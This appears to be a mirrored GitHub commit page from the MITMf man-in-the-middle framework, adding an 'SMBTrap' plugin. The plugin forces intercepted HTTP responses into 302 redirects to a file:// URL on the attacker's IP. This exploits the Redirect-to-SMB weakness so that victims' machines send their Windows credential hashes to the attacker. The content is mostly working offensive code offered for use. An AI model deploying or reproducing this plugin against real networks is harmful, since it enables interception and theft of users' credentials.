mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-16 10:03:52 -07:00
handleStatus() is now hooked through serverResponseStatus, were now able to modify the server response code and message
added the SMBTrap plugin
This commit is contained in:
parent
bdcee18be0
commit
840e202e5b
6 changed files with 36 additions and 2 deletions
23
plugins/SMBTrap.py
Normal file
23
plugins/SMBTrap.py
Normal file
|
@ -0,0 +1,23 @@
|
|||
import logging
|
||||
import random
|
||||
import string
|
||||
from plugins.plugin import Plugin
|
||||
from core.utils import SystemConfig
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
|
||||
class SMBTrap(Plugin):
|
||||
name = "SMBTrap"
|
||||
optname = "smbtrap"
|
||||
desc = "Exploits the SMBTrap vulnerability on connected clients"
|
||||
version = "1.0"
|
||||
has_opts = False
|
||||
|
||||
def initialize(self, options):
|
||||
self.ourip = SystemConfig.getIP(options.interface)
|
||||
|
||||
def serverResponseStatus(self, request, version, code, message):
|
||||
return (version, 302, "Found")
|
||||
|
||||
def serverHeaders(self, response, request):
|
||||
response.headers["Location"] = "file://{}/{}".format(self.ourip, ''.join(random.sample(string.ascii_uppercase + string.digits, 8)))
|
Loading…
Add table
Add a link
Reference in a new issue